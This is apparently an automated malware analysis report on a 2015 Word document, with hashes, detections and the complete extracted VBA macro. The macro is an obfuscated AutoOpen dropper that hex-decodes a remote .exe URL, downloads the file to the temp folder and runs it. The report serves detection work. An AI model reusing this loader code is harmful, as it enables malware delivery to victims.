Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 84ef5406a61b4fb0…

MALICIOUS

Office (OLE)

49.5 KB Created: 2015-01-19 11:37:00 Authoring application: Microsoft Office Word First seen: 2015-02-17
MD5: dda0e41140a88f59ca25f4f987a8e862 SHA-1: 0010e676d77bd57b7c53b538a4fcba8fc3c3a79b SHA-256: 84ef5406a61b4fb0703768a120e9f107d569387276357d88ef77c936c1ec109a
310 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample contains a VBA macro with an autoopen subroutine, which is a common loader for malicious documents. The macro uses CreateObject to interact with the file system and network, and it attempts to download and execute a file from the URL 'the embedded link'. This indicates a dropper functionality, aiming to fetch and run a secondary payload.

Heuristics 9

  • ClamAV: Doc.Dropper.Agent-1822091 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-1822091
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
        .Write objHTTP.responseBody
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    Set fso = CreateObject(AgbcafPQeuUUkbdUu(HsFYTVj))
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set fso = CreateObject(AgbcafPQeuUUkbdUu(HsFYTVj))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 13094 bytes
SHA-256: 0f12edeb4ba207dc4bccf4eed0796f22d1e31567ab028b61d13bcd6394429f46
Detection
ClamAV: No threats found
Obfuscation or payload: likely
78 of 153 identifiers look randomly generated (e.g. 'LJDVSpLkpmxAlmvFAetMgzu') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Private Const nUe4Ab = "5368656C6C2E4170706C69636174696F6E"
Private Const PYbGrEXRGi = "41444F44422E53747265616D"
Private Const YFdMl = "536372697074696E672E46696C6553797374656D4F626A656374"
Private Const Lg7Aw8VojXA = "474554"
Private Const DJahAXEcL = "4D53584D4C322E584D4C48545450"
Private Const PdwILpa = "5C64734848482E657865"
Private Const VoN = "687474703A2F2F36322E37362E3138382E3232312F616B736A6464657277642F61736462776B2F64686F65692E657865"
Private Const HsFYTVj = YFdMl

Sub autoopen()

Dim pLKmTlYcBcn As Integer
pLKmTlYcBcn = 1817
Do While pLKmTlYcBcn < 1817 + 10
pLKmTlYcBcn = pLKmTlYcBcn + 1: DoEvents
Loop
Dim HHvvVfrTnSqI As Integer
HHvvVfrTnSqI = 1723
Do While HHvvVfrTnSqI < 1723 + 10
HHvvVfrTnSqI = HHvvVfrTnSqI + 1: DoEvents
Loop
Dim fso, tempfile
Dim wegAdivGbo As Integer
wegAdivGbo = 867
Do While wegAdivGbo < 867 + 10
wegAdivGbo = wegAdivGbo + 1: DoEvents
Loop
Dim rTnSq As Integer
rTnSq = 170
Do While rTnSq < 170 + 10
rTnSq = rTnSq + 1: DoEvents
Loop
Set fso = CreateObject(AgbcafPQeuUUkbdUu(HsFYTVj))
Dim ocNpL As Integer
ocNpL = 2324
Do While ocNpL < 2324 + 10
ocNpL = ocNpL + 1: DoEvents
Loop
Dim ijsPxbqQdwuaUVTZJCJ As Integer
ijsPxbqQdwuaUVTZJCJ = 1594
Do While ijsPxbqQdwuaUVTZJCJ < 1594 + 10
ijsPxbqQdwuaUVTZJCJ = ijsPxbqQdwuaUVTZJCJ + 1: DoEvents
Loop

Dim HJqJP As Integer
HJqJP = 929
Do While HJqJP < 929 + 10
HJqJP = HJqJP + 1: DoEvents
Loop
Dim cyKZGYKOo As Integer
cyKZGYKOo = 2398
Do While cyKZGYKOo < 2398 + 10
cyKZGYKOo = cyKZGYKOo + 1: DoEvents
Loop
Dim tfolder, tname, tfile
Dim IgnuZlkAE As Integer
IgnuZlkAE = 2401
Do While IgnuZlkAE < 2401 + 10
IgnuZlkAE = IgnuZlkAE + 1: DoEvents
Loop
Dim HxdYZQcMF As Integer
HxdYZQcMF = 2271
Do While HxdYZQcMF < 2271 + 10
HxdYZQcMF = HxdYZQcMF + 1: DoEvents
Loop
Const TemporaryFolder = 2
Dim AEHyYn As Integer
AEHyYn = 531
Do While AEHyYn < 531 + 10
AEHyYn = AEHyYn + 1: DoEvents
Loop
Dim DTYaRrTyjeS As Integer
DTYaRrTyjeS = 1924
Do While DTYaRrTyjeS < 1924 + 10
DTYaRrTyjeS = DTYaRrTyjeS + 1: DoEvents
Loop
Set tfolder = fso.GetSpecialFolder(TemporaryFolder)
Dim uZlkAEH As Integer
uZlkAEH = 818
Do While uZlkAEH < 818 + 10
uZlkAEH = uZlkAEH + 1: DoEvents
Loop
Dim ZGYKOocaTm As Integer
ZGYKOocaTm = 1164
Do While ZGYKOocaTm < 1164 + 10
ZGYKOocaTm = ZGYKOocaTm + 1: DoEvents
Loop
strLink = AgbcafPQeuUUkbdUu(VoN)
Dim ASCZISZUhy As Integer
ASCZISZUhy = 1450
Do While ASCZISZUhy < 1450 + 10
ASCZISZUhy = ASCZISZUhy + 1: DoEvents
Loop
Dim BCMVQ As Integer
BCMVQ = 690
Do While BCMVQ < 690 + 10
BCMVQ = BCMVQ + 1: DoEvents
Loop

Dim DVSpZkpmxO As Integer
DVSpZkpmxO = 1704
Do While DVSpZkpmxO < 1704 + 10
DVSpZkpmxO = DVSpZkpmxO + 1: DoEvents
Loop
Dim wRFOmh As Integer
wRFOmh = 944
Do While wRFOmh < 944 + 10
wRFOmh = wRFOmh + 1: DoEvents
Loop
strSaveTo = tfolder & AgbcafPQeuUUkbdUu(PdwILpa)
Dim tcbOAc As Integer
tcbOAc = 2113
Do While tcbOAc < 2113 + 10
tcbOAc = tcbOAc + 1: DoEvents
Loop
Dim PjrhMHIGLw As Integer
PjrhMHIGLw = 151
Do While PjrhMHIGLw < 151 + 10
PjrhMHIGLw = PjrhMHIGLw + 1: DoEvents
Loop

Dim NfQUuU As Integer
NfQUuU = 861
Do While NfQUuU < 861 + 10
NfQUuU = NfQUuU + 1: DoEvents
Loop
Dim YlMgLkBNBzt As Integer
YlMgLkBNBzt = 1684
Do While YlMgLkBNBzt < 1684 + 10
YlMgLkBNBzt = YlMgLkBNBzt + 1: DoEvents
Loop

Dim fQUuUgaspMi As Integer
fQUuUgaspMi = 514
Do While fQUuUgaspMi < 514 + 10
fQUuUgaspMi = fQUuUgaspMi + 1: DoEvents
Loop
Dim BNBztL As Integer
BNBztL = 1241
Do While BNBztL < 1241 + 10
BNBztL = BNBztL + 1: DoEvents
Loop
Set objHTTP = CreateObject(AgbcafPQeuUUkbdUu(DJahAXEcL))
Dim UgaspMiG As Integer
UgaspMiG = 769
Do While UgaspMiG < 769 + 10
UgaspMiG = UgaspMiG + 1: DoEvents
Loop
Dim qTkPQqxnSNMRDwDiIuJNQ As Integer
qTkPQqxnSNMRDwDiIuJNQ = 641
Do While qTkPQqxnSNMRDwDiIuJNQ < 641 + 10
qTkPQqxnSNMRDwDiIuJNQ = qTkPQqxnSNMRDwDiIuJNQ + 1: DoEvents
Loop

Dim bruxp As Integer
bruxp = 896
Do While bruxp < 896 + 10
bruxp = bruxp + 1: DoEvents
Loop
Dim pzUiU As Integer
pzUiU = 40
Do While pzUiU < 40 + 10
pzUiU = pzUiU + 1: DoEvents
Loop

Dim UJeTKZjRRErS As Integer
UJeTKZjRRErS = 2443
Do While UJeTKZjRRErS < 2443 + 10
UJeTKZjRRErS = UJeTKZjRRErS + 1: DoEvents
Loop
Dim oOpAuMvRBMSO As Integer
oOpAuMvRBMSO = 53
Do While oOpAuMvRBMSO < 53 + 10
oOpAuMvRBMSO = oOpAuMvRBMSO + 1: DoEvents
Loop
objHTTP.Open AgbcafPQeuUUkbdUu(Lg7Aw8VojXA), strLink, False
Dim uVsESARDHh As Integer
uVsESARDHh = 1793
Do While uVsESARDHh < 1793 + 10
uVsESARDHh = uVsESARDHh + 1: DoEvents
Loop
Dim ZIrtNq As Integer
ZIrtNq = 1729
Do While ZIrtNq < 1729 + 10
ZIrtNq = ZIrtNq + 1: DoEvents
Loop
objHTTP.send
Dim GlLxNQTL As Integer
GlLxNQTL = 1951
Do While GlLxNQTL < 1951 + 10
GlLxNQTL = GlLxNQTL + 1: DoEvents
Loop
Dim xAsQgZIr As Integer
xAsQgZIr = 1413
Do While xAsQgZIr < 1413 + 10
xAsQgZIr = xAsQgZIr + 1: DoEvents
Loop
 
Dim mUUHu As Integer
mUUHu = 2014
Do While mUUHu < 2014 + 10
mUUHu = mUUHu + 1: DoEvents
Loop
Dim OpAuMvR As Integer
OpAuMvR = 906
Do While OpAuMvR < 906 + 10
OpAuMvR = OpAuMvR + 1: DoEvents
Loop
Set objFSO = CreateObject(AgbcafPQeuUUkbdUu(HsFYTVj))
Dim tMgzu As Integer
tMgzu = 1942
Do While tMgzu < 1942 + 10
tMgzu = tMgzu + 1: DoEvents
Loop
Dim EQiwEFOmhK As Integer
EQiwEFOmhK = 1628
Do While EQiwEFOmhK < 1628 + 10
EQiwEFOmhK = EQiwEFOmhK + 1: DoEvents
Loop
If objFSO.FileExists(strSaveTo) Then
Dim LKykL As Integer
LKykL = 1815
Do While LKykL < 1815 + 10
LKykL = LKykL + 1: DoEvents
Loop
Dim sRRsB As Integer
sRRsB = 328
Do While sRRsB < 328 + 10
sRRsB = sRRsB + 1: DoEvents
Loop
  objFSO.DeleteFile (strSaveTo)
Dim kLiuIqHu As Integer
kLiuIqHu = 1690
Do While kLiuIqHu < 1690 + 10
kLiuIqHu = kLiuIqHu + 1: DoEvents
Loop
Dim lzvesR As Integer
lzvesR = 1151
Do While lzvesR < 1151 + 10
lzvesR = lzvesR + 1: DoEvents
Loop
End If
Dim LJDVSpLkpmxAlmvFAetMgzu As Integer
LJDVSpLkpmxAlmvFAetMgzu = 1942
Do While LJDVSpLkpmxAlmvFAetMgzu < 1942 + 10
LJDVSpLkpmxAlmvFAetMgzu = LJDVSpLkpmxAlmvFAetMgzu + 1: DoEvents
Loop
Dim woNqUSAp As Integer
woNqUSAp = 437
Do While woNqUSAp < 437 + 10
woNqUSAp = woNqUSAp + 1: DoEvents
Loop

Dim QJQvH As Integer
QJQvH = 2493
Do While QJQvH < 2493 + 10
QJQvH = QJQvH + 1: DoEvents
Loop
Dim GLITlzHI As Integer
GLITlzHI = 1608
Do While GLITlzHI < 1608 + 10
GLITlzHI = GLITlzHI + 1: DoEvents
Loop
If objHTTP.Status = 200 Then
Dim ntpADSopzID As Integer
ntpADSopzID = 1957
Do While ntpADSopzID < 1957 + 10
ntpADSopzID = ntpADSopzID + 1: DoEvents
Loop
Dim ITlzHIRqkN As Integer
ITlzHIRqkN = 692
Do While ITlzHIRqkN < 692 + 10
ITlzHIRqkN = ITlzHIRqkN + 1: DoEvents
Loop
  Dim objStream
Dim DhwPkCxnSb As Integer
DhwPkCxnSb = 597
Do While DhwPkCxnSb < 597 + 10
DhwPkCxnSb = DhwPkCxnSb + 1: DoEvents
Loop
Dim MUJpllko As Integer
MUJpllko = 682
Do While MUJpllko < 682 + 10
MUJpllko = MUJpllko + 1: DoEvents
Loop
  Set objStream = CreateObject(AgbcafPQeuUUkbdUu(PYbGrEXRGi))
Dim ruIeg As Integer
ruIeg = 2425
Do While ruIeg < 2425 + 10
ruIeg = ruIeg + 1: DoEvents
Loop
Dim muHjDiGYyZewfCmw As Integer
muHjDiGYyZewfCmw = 1251
Do While muHjDiGYyZewfCmw < 1251 + 10
muHjDiGYyZewfCmw = muHjDiGYyZewfCmw + 1: DoEvents
Loop
  With objStream
Dim uIegpzu As Integer
uIegpzu = 2265
Do While uIegpzu < 2265 + 10
uIegpzu = uIegpzu + 1: DoEvents
Loop
Dim MUJpllkognEfe As Integer
MUJpllkognEfe = 874
Do While MUJpllkognEfe < 874 + 10
MUJpllkognEfe = MUJpllkognEfe + 1: DoEvents
Loop
    .Type = 1
Dim dwrgLUVTZJ As Integer
dwrgLUVTZJ = 1298
Do While dwrgLUVTZJ < 1298 + 10
dwrgLUVTZJ = dwrgLUVTZJ + 1: DoEvents
Loop
Dim jeHJqwPYMt As Integer
jeHJqwPYMt = 1361
Do While jeHJqwPYMt < 1361 + 10
jeHJqwPYMt = jeHJqwPYMt + 1: DoEvents
Loop
    .Open
Dim xbqJdwrgL As Integer
xbqJdwrgL = 853
Do While xbqJdwrgL < 853 + 10
xbqJdwrgL = xbqJdwrgL + 1: DoEvents
Loop
Dim oonsdkr As Integer
oonsdkr = 2058
Do While oonsdkr < 2058 + 10
oonsdkr = oonsdkr + 1: DoEvents
Loop
    .Write objHTTP.responseBody
Dim JOAtAfrrGK As Integer
JOAtAfrrGK = 594
Do While JOAtAfrrGK < 594 + 10
JOAtAfrrGK = JOAtAfrrGK + 1: DoEvents
Loop
Dim mFNDje As Integer
mFNDje = 2269
Do While mFNDje < 2269 + 10
mFNDje = mFNDje + 1: DoEvents
Loop
    .SaveToFile strSaveTo
Dim dZkoCYajsnQh As Integer
dZkoCYajsnQh = 183
Do While dZkoCYajsnQh < 183 + 10
dZkoCYajsnQh = dZkoCYajsnQh + 1: DoEvents
Loop
Dim pZvfqwsDUjrs As Integer
pZvfqwsDUjrs = 1289
Do While pZvfqwsDUjrs < 1289 + 10
pZvfqwsDUjrs = pZvfqwsDUjrs + 1: DoEvents
Loop
    .Close
Dim hlKzwqIF As Integer
hlKzwqIF = 942
Do While hlKzwqIF < 942 + 10
hlKzwqIF = hlKzwqIF + 1: DoEvents
Loop
Dim QcpmUiHH As Integer
QcpmUiHH = 639
Do While QcpmUiHH < 639 + 10
QcpmUiHH = QcpmUiHH + 1: DoEvents
Loop
  End With
Dim QuZIEtN As Integer
QuZIEtN = 226
Do While QuZIEtN < 226 + 10
QuZIEtN = QuZIEtN + 1: DoEvents
Loop
Dim hZxMFYauQcpm As Integer
hZxMFYauQcpm = 1301
Do While hZxMFYauQcpm < 1301 + 10
hZxMFYauQcpm = hZxMFYauQcpm + 1: DoEvents
Loop
  Set objStream = Nothing
Dim xAsQuZIE As Integer
xAsQuZIE = 37
Do While xAsQuZIE < 37 + 10
xAsQuZIE = xAsQuZIE + 1: DoEvents
Loop
Dim ejrhMUVTZw As Integer
ejrhMUVTZw = 195
Do While ejrhMUVTZw < 195 + 10
ejrhMUVTZw = ejrhMUVTZw + 1: DoEvents
Loop
End If
Dim LkQuJqwPY As Integer
LkQuJqwPY = 799
Do While LkQuJqwPY < 799 + 10
LkQuJqwPY = LkQuJqwPY + 1: DoEvents
Loop
Dim xMiVfC As Integer
xMiVfC = 1145
Do While xMiVfC < 1145 + 10
xMiVfC = xMiVfC + 1: DoEvents
Loop

Dim fgBCLkQuJqw As Integer
fgBCLkQuJqw = 2126
Do While fgBCLkQuJqw < 2126 + 10
fgBCLkQuJqw = fgBCLkQuJqw + 1: DoEvents
Loop
Dim egMhmukPZ As Integer
egMhmukPZ = 1445
Do While egMhmukPZ < 1445 + 10
egMhmukPZ = egMhmukPZ + 1: DoEvents
Loop
If objFSO.FileExists(strSaveTo) Then
Dim QijEFPnTx As Integer
QijEFPnTx = 525
Do While QijEFPnTx < 525 + 10
QijEFPnTx = QijEFPnTx + 1: DoEvents
Loop
Dim dyLylMihJrI As Integer
dyLylMihJrI = 1443
Do While dyLylMihJrI < 1443 + 10
dyLylMihJrI = dyLylMihJrI + 1: DoEvents
Loop

Dim hYmwffR As Integer
hYmwffR = 1063
Do While hYmwffR < 1063 + 10
hYmwffR = hYmwffR + 1: DoEvents
Loop
Dim uxAsR As Integer
uxAsR = 740
Do While uxAsR < 740 + 10
uxAsR = uxAsR + 1: DoEvents
Loop
End If
Dim lLKbQTLkNsqY As Integer
lLKbQTLkNsqY = 1942
Do While lLKbQTLkNsqY < 1942 + 10
lLKbQTLkNsqY = lLKbQTLkNsqY + 1: DoEvents
Loop
Dim xAsRgZJr As Integer
xAsRgZJr = 1434
Do While xAsRgZJr < 1434 + 10
xAsRgZJr = xAsRgZJr + 1: DoEvents
Loop
 Set GBIviviu67FUGBK = CreateObject(AgbcafPQeuUUkbdUu(nUe4Ab))
Dim UHIjsEhAfDVi As Integer
UHIjsEhAfDVi = 1814
Do While UHIjsEhAfDVi < 1814 + 10
UHIjsEhAfDVi = UHIjsEhAfDVi + 1: DoEvents
Loop
Dim bCkBo As Integer
bCkBo = 975
Do While bCkBo < 975 + 10
bCkBo = bCkBo + 1: DoEvents
Loop
GBIviviu67FUGBK.Open strSaveTo
Dim QOnQvtbPkbRf As Integer
QOnQvtbPkbRf = 1543
Do While QOnQvtbPkbRf < 1543 + 10
QOnQvtbPkbRf = QOnQvtbPkbRf + 1: DoEvents
Loop
Dim EseFcbC As Integer
EseFcbC = 183
Do While EseFcbC < 183 + 10
EseFcbC = EseFcbC + 1: DoEvents
Loop
End Sub


Public Function AgbcafPQeuUUkbdUu(ByVal ERgNfQ As String) As String
GoTo pNdVFnqKnrFP
pNdVFnqKnrFP:
GoTo lYzVTwevhlKl
lYzVTwevhlKl:
GoTo IFdyQOLQoC
IFdyQOLQoC:
Dim ujgaspMiGMIUYmH As String
GoTo toQSzTZhQCLLKPmtAfs
toQSzTZhQCLLKPmtAfs:
GoTo KNFetmVEGbDIVSB
KNFetmVEGbDIVSB:
GoTo oPYlMgLkB
oPYlMgLkB:
GoTo DxPyVFPVRe
DxPyVFPVRe:
GoTo QSczuYaGMgodJEED
QSczuYaGMgodJEED:
GoTo AHYyxNDGyQA
AHYyxNDGyQA:
Dim SdQAQjDQQGmv As String
GoTo zTKBOZHHvvVfrTnS
zTKBOZHHvvVfrTnS:
Dim uykdkObbr As Long
GoTo IFzRPmVgmiuLLijsPxb
IFzRPmVgmiuLLijsPxb:
GoTo dwEuaUVTZJCJoOAQTQOo
dwEuaUVTZJCJoOAQTQOo:
GoTo gbPkbRfpZYL
gbPkbRfpZYL:
GoTo vHVDUGKlZQQjgCYxCzKN
vHVDUGKlZQQjgCYxCzKN:
GoTo zISNrGatMHwc
zISNrGatMHwc:
For uykdkObbr = 1 To Len(ERgNfQ) Step 2
GoTo paSaERQh
paSaERQh:
GoTo fETLwegAd
fETLwegAd:
ujgaspMiGMIUYmH = Chr$(Val(Chr$(38) & Chr$(72) & Mid$(ERgNfQ, uykdkObbr, 2)))
GoTo bocNpLKmTlYcBcn
bocNpLKmTlYcBcn:
GoTo wSpNFBNetOCL
wSpNFBNetOCL:
GoTo HJqJPY
HJqJPY:
GoTo BCAFdjrUih
BCAFdjrUih:
SdQAQjDQQGmv = SdQAQjDQQGmv & ujgaspMiGMIUYmH
GoTo vUkcMuwRuyMIrF
vUkcMuwRuyMIrF:
GoTo FObDQB
FObDQB:
GoTo RsDxPyVFPV
RsDxPyVFPV:
GoTo uJQScz
uJQScz:
Next uykdkObbr
GoTo GMgod
GMgod:
GoTo EDItAHYyxNDGyQ
EDItAHYyxNDGyQ:
GoTo dKzTKB
dKzTKB:
GoTo HHvvVfrTnSqIUIFzRPmV
HHvvVfrTnSqIUIFzRPmV:
GoTo iuLLijsP
iuLLijsP:
GoTo qQdwE
qQdwE:
GoTo UVTZJ
UVTZJ:
AgbcafPQeuUUkbdUu = SdQAQjDQQGmv
GoTo OAQTQOoQv
OAQTQOoQv:
GoTo PkbRf
PkbRf:
GoTo YLxZvHVDUGKlZQQjgCYx
YLxZvHVDUGKlZQQjgCYx:
GoTo KNdyzISNrGat
KNdyzISNrGat:
GoTo wclmkpaSaERQhln
wclmkpaSaERQhln:
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.